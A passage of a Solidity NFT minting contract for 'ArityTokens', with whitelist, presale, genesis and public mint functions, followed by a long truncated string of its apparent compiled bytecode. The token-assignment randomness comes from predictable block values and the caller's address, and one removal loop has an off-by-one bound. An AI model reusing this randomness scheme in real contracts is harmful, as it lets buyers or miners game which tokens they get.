tokens per transaction */ function setMaxArityTokensPerTransaction(uint256 _maxArityTokensPerTransaction) external onlyCollaborator { maxArityTokensPerTransaction = _maxArityTokensPerTransaction; } /** * @dev Populates the available arity tokens */ function addAvailableArityTokens(uint16 from, uint16 to) external onlyCollaborator { for (uint16 i = from; i <= to; i++) { availableArityTokens.push(i); } } /** * @dev Removes a chosen arity token from the available list, only a utility function */ function removeArityTokenFromAvailableArityTokens(uint16 tokenId) external onlyCollaborator { for (uint16 i; i <= availableArityTokens.length; i++) { if (availableArityTokens[i] != tokenId) { continue; } availableArityTokens[i] = availableArityTokens[availableArityTokens.length - 1]; availableArityTokens.pop(); break; } } /** * @dev Checks if a arity token is in the available list */ function isArityTokenAvailable(uint16 tokenId) external view onlyCollaborator returns (bool) { for (uint16 i; i < availableArityTokens.length; i++) { if (availableArityTokens[i] == tokenId) { return true; } } return false; } /** * @dev Give random giveaway arity tokens to the provided address */ function reserveGiveawayArityTokens(address _address) external onlyCollaborator { require(availableArityTokens.length >= giveawayCount, "No arity tokens left to be claimed"); totalMintedTokens += giveawayCount; uint256[] memory tokenIds = new uint256[](giveawayCount); for (uint256 i; i < giveawayCount; i++) { tokenIds[i] = getArityTokenToBeClaimed(); } _batchMint(_address, tokenIds); giveawayCount = 0; } /** * @dev Whitelist addresses for presale */ function whitelistAddressForPresale (address[] memory users) external onlyCollaborator { for (uint i = 0; i < users.length; i++) { presaleWhitelistedAddresses[users[i]] = true; } } /** * @dev Whitelist addresses for genesis sale */ function whitelistAddressForGenesisSale (address[] memory users) external onlyCollaborator { for (uint i = 0; i < users.length; i++) { genesisWhitelistedAddresses[users[i]] = true; } } // END ONLY COLLABORATORS /** * @dev Claim up to 25 arity tokens at once in public sale */ function claimArityTokens(uint256 quantity) external payable callerIsUser claimStarted returns (uint256[] memory) { require( msg.value >= publicMintPrice * quantity, "Not enough Ether to claim the ArityTokens" ); require(availableArityTokens.length >= quantity, "Not enough arity tokens left"); require(quantity <= maxArityTokensPerTransaction, "Max tokens per transaction can be 25"); uint256[] memory tokenIds = new uint256[](quantity); claimedArityTokenPerWallet[msg.sender] += quantity; totalMintedTokens += quantity; for (uint256 i; i < quantity; i++) { tokenIds[i] = getArityTokenToBeClaimed(); } _batchMint(msg.sender, tokenIds); return tokenIds; } /** * @dev Claim up to 25 arity tokens at once in presale */ function presaleMintArityTokens(uint256 quantity) external payable callerIsUser presaleStarted onlyPresaleWhitelisted returns (uint256[] memory) { require( msg.value >= presaleMintPrice * quantity, "Not enough Ether to claim the ArityTokens" ); require(availableArityTokens.length >= quantity, "Not enough arity tokens left"); require(quantity + presaleMintedTokens <= presaleLimit, "No more arity tokens left for presale"); require(quantity <= maxArityTokensPerTransaction, "Max tokens per transaction can be 25"); uint256[] memory tokenIds = new uint256[](quantity); claimedArityTokenPerWallet[msg.sender] += quantity; totalMintedTokens += quantity; presaleMintedTokens += quantity; for (uint256 i; i < quantity; i++) { tokenIds[i] = getArityTokenToBeClaimed(); } _batchMint(msg.sender, tokenIds); return tokenIds; } /** * @dev Claim up to 25 arity tokens at once in genesis sale */ function genesisSaleMintArityTokens(uint256 quantity) external payable callerIsUser genesisSaleStarted onlyGenesisWhitelisted returns (uint256[] memory) { require( msg.value >= genesisSaleMintPrice * quantity, "Not enough Ether to claim the ArityTokens" ); require(availableArityTokens.length >= quantity, "Not enough arity tokens left"); require(quantity + genesisMintedTokens <= genesisSaleLimit, "No more arity tokens left for genesis sale"); require(quantity <= maxArityTokensPerTransaction, "Max tokens per transaction can be 25"); uint256[] memory tokenIds = new uint256[](quantity); claimedArityTokenPerWallet[msg.sender] += quantity; totalMintedTokens += quantity; genesisMintedTokens += quantity; for (uint256 i; i < quantity; i++) { tokenIds[i] = getArityTokenToBeClaimed(); } _batchMint(msg.sender, tokenIds); return tokenIds; } /** * @dev Returns the tokenId by index */ function tokenByIndex(uint256 tokenId) external view returns (uint256) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); return tokenId; } /** * @dev Returns the base URI for the tokens API. */ function baseTokenURI() external view returns (string memory) { return baseURI; } /** * @dev Returns how many ArityTokens are still available to be claimed */ function getAvailableArityTokens() external view returns (uint256) { return availableArityTokens.length; } /** * @dev Returns the claim price for public mint */ function getPublicMintPrice() external view returns (uint256) { return publicMintPrice; } /** * @dev Returns the total supply */ function totalSupply() external view virtual returns (uint256) { return totalMintedTokens; } /** * @dev Returns the total minted tokens in presale */ function totalPresaleMintCount() external view virtual returns (uint256) { return presaleMintedTokens; } function totalGenesisMintCount() external view virtual returns (uint256) { return genesisMintedTokens; } // Private and Internal functions /** * @dev Returns a random available ArityToken to be claimed */ function getArityTokenToBeClaimed() private returns (uint256) { uint256 random = _getRandomNumber(availableArityTokens.length); uint256 tokenId = uint256(availableArityTokens[random]); availableArityTokens[random] = availableArityTokens[availableArityTokens.length - 1]; availableArityTokens.pop(); return tokenId; } /** * @dev Generates a pseudo-random number. */ function _getRandomNumber(uint256 _upper) private view returns (uint256) { uint256 random = uint256( keccak256( abi.encodePacked( availableArityTokens.length, blockhash(block.number - 1), block.coinbase, block.difficulty, msg.sender ) ) ); return random % _upper; } /** * @dev See {ERC721}. */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function mulScale( uint256 x, uint256 y, uint128 scale ) internal pure returns (uint256) { uint256 a = x / scale; uint256 b = x % scale; uint256 c = y / scale; uint256 d = y % scale; return a * c * scale + a * d + b * c + (b * d) / scale; } }
0x6080604052600436106102e45760003560e01c80637346dd0b11610190578063bb173bd5116100dc578063d547cfb711610095578063e985e9c51161006f578063e985e9c51461083e578063e9be0f3f1461085e578063ed0dd9ec14610873578063f2fde38b14610893576102e4565b8063d547cfb7146107e9578063e699ac27146107fe578063e86c6d411461081e576102e4565b8063bb173bd51461074c578063bf15eb2414610761578063c87b56dd14610781578063c9c37205146107a1578063d28ed9cb146107c1578063d3c39519146107d4576102e4565b806395d89b4111610149578063aedf182511610123578063aedf1825146106cc578063b5c1b6c8146106ec578063b88d4fde1461070c578063b99eb2771461072c576102e4565b806395d89b41146106775780639d8e19261461068c578063a22cb465146106ac576102e4565b80637346dd0b146105f0578063744dab38146106055780637e64d99d1461061a5780637fd255f11461062d5780638da5cb5b1461064d5780638e32e31614610662576102e4565b806337a131931161024f5780634f6ccce7116102085780636352211e116101e25780636352211e1461057b5780636d44aef51461059b57806370a08231146105bb578063715018a6146105db576102e4565b80634f6ccce714610526578063525b3fe3146105465780635d82cf6e1461055b576102e4565b806337a13193146104875780633ccfd60b146104a7578063403e03ab146104bc57806342842e0e146104d15780634bd2894e146104f15780634ebdbc9614610506576102e4565b8063095ea7b3116102a1578063095ea7b3146103d05780630aad3a71146103f057806318160ddd1461041257806323b872dd1461042757806325981e8f1461044757806330176e1314610467576102e4565b806301ffc9a7146102e9578063025355571461031f57806306fdde03146103415780630804899f14610363578063081812fc146103835780630955f63c146103b0575b600080fd5b3480156102f557600080fd5b506103096103043660046135da565b6108b3565b60405161031691906137df565b60405180910390f35b34801561032b57600080fd5b5061033f61033a36600461369b565b6108fb565b005b34801561034d57600080fd5b506103566109c6565b60405161031691906137ea565b34801561036f57600080fd5b5061033f61037e36600461369b565b610a58565b34801561038f57600080fd5b506103a361039e36600461369b565b610b1a565b604051610316919061374a565b3480156103bc57600080fd5b5061033f6103cb366004613505565b610b5d565b3480156103dc57600080fd5b5061033f6103eb366004613440565b610cb3565b3480156103fc57600080fd5b50610405610d4b565b6040516103169190614016565b34801561041e57600080fd5b50610405610d51565b34801561043357600080fd5b5061033f610442366004613352565b610d57565b61045a61045536600461369b565b610d8f565b604051610316919061379b565b34801561047357600080fd5b5061033f610482366004613612565b610fbc565b34801561049357600080fd5b5061033f6104a236600461369b565b61108b565b3480156104b357600080fd5b5061033f61114d565b3480156104c857600080fd5b506104056112ee565b3480156104dd57600080fd5b5061033f6104ec366004613352565b6112f4565b3480156104fd57600080fd5b5061040561130f565b34801561051257600080fd5b5061033f610521366004613672565b611315565b34801561053257600080fd5b5061040561054136600461369b565b611452565b34801561055257600080fd5b5061040561147d565b34801561056757600080fd5b5061033f61057636600461369b565b611483565b34801561058757600080fd5b506103a361059636600461369b565b611545565b3480156105a757600080fd5b5061033f6105b636600461369b565b61157a565b3480156105c757600080fd5b506104056105d6366004613306565b61163c565b3480156105e757600080fd5b5061033f611680565b3480156105fc57600080fd5b50610405611709565b34801561061157600080fd5b5061040561170f565b61045a61062836600461369b565b611715565b34801561063957600080fd5b5061033f61064836600461369b565b6118bc565b34801561065957600080fd5b506103a361197e565b34801561066e57600080fd5b5061040561198d565b34801561068357600080fd5b50610356611993565b34801561069857600080fd5b5061033f6106a7366004613658565b6119a2565b3480156106b857600080fd5b5061033f6106c7366004613406565b611bcc565b3480156106d857600080fd5b5061033f6106e736600461369b565b611c9a565b3480156106f857600080fd5b5061033f61070736600461369b565b611d5c565b34801561071857600080fd5b5061033f61072736600461338d565b611e1e565b34801561073857600080fd5b5061033f610747366004613306565b611e57565b34801561075857600080fd5b5061040561200f565b34801561076d57600080fd5b5061033f61077c36600461369b565b612015565b34801561078d57600080fd5b5061035661079c36600461369b565b6120d7565b3480156107ad57600080fd5b5061033f6107bc366004613469565b61215a565b61045a6107cf36600461369b565b61228c565b3480156107e057600080fd5b506104056124ae565b3480156107f557600080fd5b506103566124b4565b34801561080a57600080fd5b5061033f61081936600461369b565b6124c3565b34801561082a57600080fd5b5061033f610839366004613469565b612585565b34801561084a57600080fd5b50610309610859366004613320565b6126b7565b34801561086a57600080fd5b506104056126e5565b34801561087f57600080fd5b5061030961088e366004613658565b6126eb565b34801561089f57600080fd5b5061033f6108ae366004613306565b612833565b60006001600160e01b031982166380ac58cd60e01b14806108e457506001600160e01b03198216635b5e139f60e01b145b806108f357506108f3826128f3565b90505b919050565b6000805b60185481101561096f57336001600160a01b03166018828154811061093457634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b0316141561095d576001915061096f565b8061096781614174565b9150506108ff565b5061097861290c565b6001600160a01b031661098961197e565b6001600160a01b0316148061099b5750805b6109c05760405162461bcd60e51b81526004016109b790613e4e565b60405180910390fd5b50600755565b6060600180546109d59061411d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a019061411d565b8015610a4e5780601f10610a2357610100808354040283529160200191610a4e565b820191906000526020600020905b815481529060010190602001808311610a3157829003601f168201915b5050505050905090565b6000805b601854811015610acc57336001600160a01b031660188281548110610a9157634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b03161415610aba5760019150610acc565b80610ac481614174565b915050610a5c565b50610ad561290c565b6001600160a01b0316610ae661197e565b6001600160a01b03161480610af85750805b610b145760405162461bcd60e51b81526004016109b790613e4e565b50600a55565b6000610b2582612910565b610b415760405162461bcd60e51b81526004016109b790613cbb565b506000908152600560205260409020546001600160a01b031690565b610b6561290c565b6001600160a01b0316610b7661197e565b6001600160a01b031614610b9c5760405162461bcd60e51b81526004016109b790613d3e565b60185415610bbc5760405162461bcd60e51b81526004016109b790613916565b6000805b8251811015610c81576018838281518110610beb57634e487b7160e01b600052603260045260246000fd5b602090810291909101810151825460018082018555600094855293839020825160029092020180546001600160a01b0319166001600160a01b039092169190911781559101519101558251839082908110610c5657634e487b7160e01b600052603260045260246000fd5b60200260200101516020015182610c6d919061406d565b915080610c7981614174565b915050610bc0565b506011546001600160801b03828116911614610caf5760405162461bcd60e51b81526004016109b7906139c8565b5050565b6000610cbe82611545565b9050806001600160a01b0316836001600160a01b03161415610cf25760405162461bcd60e51b81526004016109b790613ece565b806001600160a01b0316610d0461290c565b6001600160a01b03161480610d205750610d208161085961290c565b610d3c5760405162461bcd60e51b81526004016109b790613b08565b610d46838361292d565b505050565b600f5481565b600e5490565b610d68610d6261290c565b8261299b565b610d845760405162461bcd60e51b81526004016109b790613f46565b610d46838383612a20565b6060323314610db05760405162461bcd60e51b81526004016109b790613a8f565b60095415801590610dc357504260095411155b610ddf5760405162461bcd60e51b81526004016109b790613ea1565b3360009081526019602052604090205460ff161515600114610e135760405162461bcd60e51b81526004016109b790613e0b565b81600c54610e2191906140bb565b341015610e405760405162461bcd60e51b81526004016109b790613c72565b601754821115610e625760405162461bcd60e51b81526004016109b790613f0f565b601554600f54610e72908461408f565b1115610e905760405162461bcd60e51b81526004016109b790613bf8565b601054821115610eb25760405162461bcd60e51b81526004016109b7906139ff565b60008267ffffffffffffffff811115610edb57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610f04578160200160208202803683370190505b5033600090815260166020526040812080549293508592909190610f2990849061408f565b9250508190555082600e6000828254610f42919061408f565b9250508190555082600f6000828254610f5b919061408f565b90915550600090505b83811015610fb157610f74612b4d565b828281518110610f9457634e487b7160e01b600052603260045260246000fd5b602090810291909101015280610fa981614174565b915050610f64565b506108f33382612ca4565b6000805b60185481101561103057336001600160a01b031660188281548110610ff557634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b0316141561101e5760019150611030565b8061102881614174565b915050610fc0565b5061103961290c565b6001600160a01b031661104a61197e565b6001600160a01b0316148061105c5750805b6110785760405162461bcd60e51b81526004016109b790613e4e565b8151610d469060129060208501906131f5565b6000805b6018548110156110ff57336001600160a01b0316601882815481106110c457634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b031614156110ed57600191506110ff565b806110f781614174565b91505061108f565b5061110861290c565b6001600160a01b031661111961197e565b6001600160a01b0316148061112b5750805b6111475760405162461bcd60e51b81526004016109b790613e4e565b50600c55565b6000805b6018548110156111c157336001600160a01b03166018828154811061118657634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b031614156111af57600191506111c1565b806111b981614174565b915050611151565b506111ca61290c565b6001600160a01b03166111db61197e565b6001600160a01b031614806111ed5750805b6112095760405162461bcd60e51b81526004016109b790613e4e565b4760005b601854811015610d46576018818154811061123857634e487b7160e01b600052603260045260246000fd5b906000526020600020906002020160000160009054906101000a90046001600160a01b03166001600160a01b03166108fc6112b3846018858154811061128e57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600160029092020101546011546001600160801b0316612e60565b6040518115909202916000818181858888f193505050501580156112db573d6000803e3d6000fd5b50806112e681614174565b91505061120d565b600f5490565b610d4683838360405180602001604052806000815250611e1e565b60145481565b6000805b60185481101561138957336001600160a01b03166018828154811061134e57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b031614156113775760019150611389565b8061138181614174565b915050611319565b5061139261290c565b6001600160a01b03166113a361197e565b6001600160a01b031614806113b55750805b6113d15760405162461bcd60e51b81526004016109b790613e4e565b825b8261ffff168161ffff161161144c57601780546001810182556000919091527fc624b66cc0138b8fabc209247f72d758e1cf3343756d543badbf24212bed8c1560108204018054600f9092166002026101000a61ffff81810219909316928416029190911790558061144481614152565b9150506113d3565b50505050565b600061145d82612910565b6114795760405162461bcd60e51b81526004016109b790613a43565b5090565b60155481565b6000805b6018548110156114f757336001600160a01b0316601882815481106114bc57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b031614156114e557600191506114f7565b806114ef81614174565b915050611487565b5061150061290c565b6001600160a01b031661151161197e565b6001600160a01b031614806115235750805b61153f5760405162461bcd60e51b81526004016109b790613e4e565b50600b55565b6000818152600360205260408120546001600160a01b0316806108f35760405162461bcd60e51b81526004016109b790613baf565b6000805b6018548110156115ee57336001600160a01b0316601882815481106115b357634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b031614156115dc57600191506115ee565b806115e681614174565b91505061157e565b506115f761290c565b6001600160a01b031661160861197e565b6001600160a01b0316148061161a5750805b6116365760405162461bcd60e51b81526004016109b790613e4e565b50600955565b60006001600160a01b0382166116645760405162461bcd60e51b81526004016109b790613b65565b506001600160a01b031660009081526004602052604090205490565b61168861290c565b6001600160a01b031661169961197e565b6001600160a01b0316146116bf5760405162461bcd60e51b81526004016109b790613d3e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60175490565b600b5490565b60603233146117365760405162461bcd60e51b81526004016109b790613a8f565b6008541580159061174957504260085411155b6117655760405162461bcd60e51b81526004016109b790613fdf565b81600b5461177391906140bb565b3410156117925760405162461bcd60e51b81526004016109b790613c72565b6017548211156117b45760405162461bcd60e51b81526004016109b790613f0f565b6010548211156117d65760405162461bcd60e51b81526004016109b7906139ff565b60008267ffffffffffffffff8111156117ff57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611828578160200160208202803683370190505b503360009081526016602052604081208054929350859290919061184d90849061408f565b9250508190555082600e6000828254611866919061408f565b90915550600090505b83811015610fb15761187f612b4d565b82828151811061189f57634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806118b481614174565b91505061186f565b6000805b60185481101561193057336001600160a01b0316601882815481106118f557634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b0316141561191e5760019150611930565b8061192881614174565b9150506118c0565b5061193961290c565b6001600160a01b031661194a61197e565b6001600160a01b0316148061195c5750805b6119785760405162461bcd60e51b81526004016109b790613e4e565b50601555565b6000546001600160a01b031690565b600e5481565b6060600280546109d59061411d565b6000805b601854811015611a1657336001600160a01b0316601882815481106119db57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b03161415611a045760019150611a16565b80611a0e81614174565b9150506119a6565b50611a1f61290c565b6001600160a01b0316611a3061197e565b6001600160a01b03161480611a425750805b611a5e5760405162461bcd60e51b81526004016109b790613e4e565b60005b60175461ffff821611610d46578261ffff1660178261ffff1681548110611a9857634e487b7160e01b600052603260045260246000fd5b60009182526020909120601082040154600f9091166002026101000a900461ffff1614611ac457611bba565b60178054611ad4906001906140da565b81548110611af257634e487b7160e01b600052603260045260246000fd5b90600052602060002090601091828204019190066002029054906101000a900461ffff1660178261ffff1681548110611b3b57634e487b7160e01b600052603260045260246000fd5b90600052602060002090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055506017805480611b8957634e487b7160e01b600052603160045260246000fd5b600082815260209020601060001990920191820401805461ffff6002600f8516026101000a02191690559055610d46565b80611bc481614152565b915050611a61565b611bd461290c565b6001600160a01b0316826001600160a01b03161415611c055760405162461bcd60e51b81526004016109b790613991565b8060066000611c1261290c565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155611c5661290c565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611c8e91906137df565b60405180910390a35050565b6000805b601854811015611d0e57336001600160a01b031660188281548110611cd357634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b03161415611cfc5760019150611d0e565b80611d0681614174565b915050611c9e565b50611d1761290c565b6001600160a01b0316611d2861197e565b6001600160a01b03161480611d3a5750805b611d565760405162461bcd60e51b81526004016109b790613e4e565b50600855565b6000805b601854811015611dd057336001600160a01b031660188281548110611d9557634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b03161415611dbe5760019150611dd0565b80611dc881614174565b915050611d60565b50611dd961290c565b6001600160a01b0316611dea61197e565b6001600160a01b03161480611dfc5750805b611e185760405162461bcd60e51b81526004016109b790613e4e565b50601455565b611e2f611e2961290c565b8361299b565b611e4b5760405162461bcd60e51b81526004016109b790613f46565b61144c84848484612f37565b6000805b601854811015611ecb57336001600160a01b031660188281548110611e9057634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b03161415611eb95760019150611ecb565b80611ec381614174565b915050611e5b565b50611ed461290c565b6001600160a01b0316611ee561197e565b6001600160a01b03161480611ef75750805b611f135760405162461bcd60e51b81526004016109b790613e4e565b6013546017541015611f375760405162461bcd60e51b81526004016109b790613ac6565b601354600e6000828254611f4b919061408f565b909155505060135460009067ffffffffffffffff811115611f7c57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611fa5578160200160208202803683370190505b50905060005b601354811015611ffa57611fbd612b4d565b828281518110611fdd57634e487b7160e01b600052603260045260246000fd5b602090810291909101015280611ff281614174565b915050611fab565b506120058382612ca4565b5050600060135550565b600d5490565b6000805b60185481101561208957336001600160a01b03166018828154811061204e57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b031614156120775760019150612089565b8061208181614174565b915050612019565b5061209261290c565b6001600160a01b03166120a361197e565b6001600160a01b031614806120b55750805b6120d15760405162461bcd60e51b81526004016109b790613e4e565b50601055565b60606120e282612910565b6120fe5760405162461bcd60e51b81526004016109b790613dbc565b60006121086124b4565b905060008151116121285760405180602001604052806000815250612153565b8061213284612f6a565b6040516020016121439291906136df565b6040516020818303038152906040525b9392505050565b6000805b6018548110156121ce57336001600160a01b03166018828154811061219357634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b031614156121bc57600191506121ce565b806121c681614174565b91505061215e565b506121d761290c565b6001600160a01b03166121e861197e565b6001600160a01b031614806121fa5750805b6122165760405162461bcd60e51b81526004016109b790613e4e565b60005b8251811015610d465760016019600085848151811061224857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061228481614174565b915050612219565b60603233146122ad5760405162461bcd60e51b81526004016109b790613a8f565b600754158015906122c057504260075411155b6122dc5760405162461bcd60e51b81526004016109b790613d07565b336000908152601a602052604090205460ff1615156001146123105760405162461bcd60e51b81526004016109b790613f97565b81600a5461231e91906140bb565b34101561233d5760405162461bcd60e51b81526004016109b790613c72565b60175482111561235f5760405162461bcd60e51b81526004016109b790613f0f565b601454600d5461236f908461408f565b111561238d5760405162461bcd60e51b81526004016109b7906137fd565b6010548211156123af5760405162461bcd60e51b81526004016109b7906139ff565b60008267ffffffffffffffff8111156123d857634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015612401578160200160208202803683370190505b503360009081526016602052604081208054929350859290919061242690849061408f565b9250508190555082600e600082825461243f919061408f565b9250508190555082600d6000828254612458919061408f565b90915550600090505b83811015610fb157612471612b4d565b82828151811061249157634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806124a681614174565b915050612461565b600d5481565b6060601280546109d59061411d565b6000805b60185481101561253757336001600160a01b0316601882815481106124fc57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b031614156125255760019150612537565b8061252f81614174565b9150506124c7565b5061254061290c565b6001600160a01b031661255161197e565b6001600160a01b031614806125635750805b61257f5760405162461bcd60e51b81526004016109b790613e4e565b50601355565b6000805b6018548110156125f957336001600160a01b0316601882815481106125be57634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b031614156125e757600191506125f9565b806125f181614174565b915050612589565b5061260261290c565b6001600160a01b031661261361197e565b6001600160a01b031614806126255750805b6126415760405162461bcd60e51b81526004016109b790613e4e565b60005b8251811015610d46576001601a600085848151811061267357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806126af81614174565b915050612644565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b60135481565b600080805b60185481101561276057336001600160a01b03166018828154811061272557634e487b7160e01b600052603260045260246000fd5b60009182526020909120600290910201546001600160a01b0316141561274e5760019150612760565b8061275881614174565b9150506126f0565b5061276961290c565b6001600160a01b031661277a61197e565b6001600160a01b0316148061278c5750805b6127a85760405162461bcd60e51b81526004016109b790613e4e565b60005b60175461ffff82161015612827578361ffff1660178261ffff16815481106127e357634e487b7160e01b600052603260045260246000fd5b60009182526020909120601082040154600f9091166002026101000a900461ffff16141561281557600192505061282d565b8061281f81614152565b9150506127ab565b50600091505b50919050565b61283b61290c565b6001600160a01b031661284c61197e565b6001600160a01b0316146128725760405162461bcd60e51b81526004016109b790613d3e565b6001600160a01b0381166128985760405162461bcd60e51b81526004016109b790613899565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160e01b031981166301ffc9a760e01b14919050565b3390565b6000908152600360205260409020546001600160a01b0316151590565b600081815260056020526040902080546001600160a01b0319166001600160a01b038416908117909155819061296282611545565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006129a682612910565b6129c25760405162461bcd60e51b81526004016109b790613a43565b60006129cd83611545565b9050806001600160a01b0316846001600160a01b03161480612a085750836001600160a01b03166129fd84610b1a565b6001600160a01b0316145b80612a185750612a1881856126b7565b949350505050565b826001600160a01b0316612a3382611545565b6001600160a01b031614612a595760405162461bcd60e51b81526004016109b790613d73565b6001600160a01b038216612a7f5760405162461bcd60e51b81526004016109b79061394d565b612a8a838383610d46565b612a9560008261292d565b6001600160a01b0383166000908152600460205260408120805460019290612abe9084906140da565b90915550506001600160a01b0382166000908152600460205260408120805460019290612aec90849061408f565b909155505060008181526003602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600080612b5e601780549050613085565b9050600060178281548110612b8357634e487b7160e01b600052603260045260246000fd5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff16905060176001601780549050612bc191906140da565b81548110612bdf57634e487b7160e01b600052603260045260246000fd5b90600052602060002090601091828204019190066002029054906101000a900461ffff1660178381548110612c2457634e487b7160e01b600052603260045260246000fd5b90600052602060002090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055506017805480612c7257634e487b7160e01b600052603160045260246000fd5b600082815260209020601060001990920191820401805461ffff6002600f8516026101000a0219169055905591505090565b6001600160a01b038216612cca5760405162461bcd60e51b81526004016109b790613c3d565b80516001600160a01b03831660009081526004602052604081208054909190612cf490849061408f565b90915550600090505b8151811015610d4657612d36828281518110612d2957634e487b7160e01b600052603260045260246000fd5b6020026020010151612910565b15612d535760405162461bcd60e51b81526004016109b7906138df565b612d86600084848481518110612d7957634e487b7160e01b600052603260045260246000fd5b6020026020010151610d46565b8260036000848481518110612dab57634e487b7160e01b600052603260045260246000fd5b6020026020010151815260200190815260200160002060006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818181518110612e0557634e487b7160e01b600052603260045260246000fd5b6020026020010151836001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a480612e5881614174565b915050612cfd565b600080612e766001600160801b038416866140a7565b90506000612e8d6001600160801b0385168761418f565b90506000612ea46001600160801b038616876140a7565b90506000612ebb6001600160801b0387168861418f565b90506001600160801b038616612ed182856140bb565b612edb91906140a7565b612ee583856140bb565b612eef83876140bb565b6001600160801b038916612f0386896140bb565b612f0d91906140bb565b612f17919061408f565b612f21919061408f565b612f2b919061408f565b98975050505050505050565b612f42848484612a20565b612f4e848484846130d4565b61144c5760405162461bcd60e51b81526004016109b790613847565b606081612f8f57506040805180820190915260018152600360fc1b60208201526108f6565b8160005b8115612fb95780612fa381614174565b9150612fb29050600a836140a7565b9150612f93565b60008167ffffffffffffffff811115612fe257634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561300c576020820181803683370190505b5090505b8415612a18576130216001836140da565b915061302e600a8661418f565b61303990603061408f565b60f81b81838151811061305c57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535061307e600a866140a7565b9450613010565b60175460009081906130986001436140da565b404144336040516020016130b095949392919061370e565b60408051601f1981840301815291905280516020909101209050612153838261418f565b60006130e8846001600160a01b03166131ef565b156131e457836001600160a01b031663150b7a0261310461290c565b8786866040518563ffffffff1660e01b8152600401613126949392919061375e565b602060405180830381600087803b15801561314057600080fd5b505af1925050508015613170575060408051601f3d908101601f1916820190925261316d918101906135f6565b60015b6131ca573d80801561319e576040519150601f19603f3d011682016040523d82523d6000602084013e6131a3565b606091505b5080516131c25760405162461bcd60e51b81526004016109b790613847565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050612a18565b506001949350505050565b3b151590565b8280546132019061411d565b90600052602060002090601f0160209004810192826132235760008555613269565b82601f1061323c57805160ff1916838001178555613269565b82800160010185558215613269579182015b8281111561326957825182559160200191906001019061324e565b506114799291505b808211156114795760008155600101613271565b600067ffffffffffffffff83111561329f5761329f6141cf565b6132b2601f8401601f191660200161401f565b90508281528383830111156132c657600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b03811681146108f657600080fd5b803561ffff811681146108f657600080fd5b600060208284031215613317578081fd5b612153826132dd565b60008060408385031215613332578081fd5b61333b836132dd565b9150613349602084016132dd565b90509250929050565b600080600060608486031215613366578081fd5b61336f846132dd565b925061337d602085016132dd565b9150604084013590509250925092565b600080600080608085870312156133a2578081fd5b6133ab856132dd565b93506133b9602086016132dd565b925060408501359150606085013567ffffffffffffffff8111156133db578182fd5b8501601f810187136133eb578182fd5b6133fa87823560208401613285565b91505092959194509250565b60008060408385031215613418578182fd5b613421836132dd565b915060208301358015158114613435578182fd5b809150509250929050565b60008060408385031215613452578182fd5b61345b836132dd565b946020939093013593505050565b6000602080838503121561347b578182fd5b823567ffffffffffffffff811115613491578283fd5b8301601f810185136134a1578283fd5b80356134b46134af82614049565b61401f565b81815283810190838501858402850186018910156134d0578687fd5b8694505b838510156134f9576134e5816132dd565b8352600194909401939185019185016134d4565b50979650505050505050565b60006020808385031215613517578182fd5b823567ffffffffffffffff8082111561352e578384fd5b818501915085601f830112613541578384fd5b813561354f6134af82614049565b818152848101908486016040808502870188018b101561356d578889fd5b8896505b848710156135cb5780828c031215613587578889fd5b805181810181811088821117156135a0576135a06141cf565b82526135ab83